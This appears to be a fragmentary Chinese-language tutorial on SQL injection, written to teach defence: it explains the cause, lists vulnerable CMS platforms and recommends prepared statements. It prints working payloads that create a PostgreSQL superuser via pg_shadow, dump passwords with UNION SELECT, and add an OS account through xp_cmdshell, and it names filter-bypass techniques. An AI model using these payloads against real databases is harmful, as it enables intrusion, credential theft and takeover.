根據 OWASP Top 10,注入漏洞長年霸榜首位。核心原因在於「數據與代碼未分離」:應用將用戶輸入直接拼接進 SQL 字串,導致惡意輸入被數據庫當作指令執行。
-- 原查詢 SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset; -- 攻擊載荷 (URL 編碼後) 0; INSERT INTO pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) SELECT 'crack', usesysid, 't','t','crack' FROM pg_shadow WHERE usename='postgres'; --
0; 閉合原查詢,-- 註釋掉後續代碼,實現任意 SQL 執行。
' UNION SELECT '1', CONCAT(uname,'-',passwd) AS name, '1971-01-01', '0' FROM usertable; --
利用回顯欄位竊取敏感數據。
a%' EXEC master..xp_cmdshell 'net user test testpass /ADD' --
若數據庫權限過高(如 sa),可直接在作業系統建立帳號。
DedeCMS、EmpireCMS、Discuz、ECShop 等開源系統:
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);
htmlspecialchars。display_errors=Off,錯誤寫日志不顯示給用戶。magic_quotes_gpc=On 就能防注入 → 已棄用,且無法防禦數值型/二次注入。addslashes / 正則過濾 → 繞過技巧層出不窮(寬字節、編碼、註釋符變形)。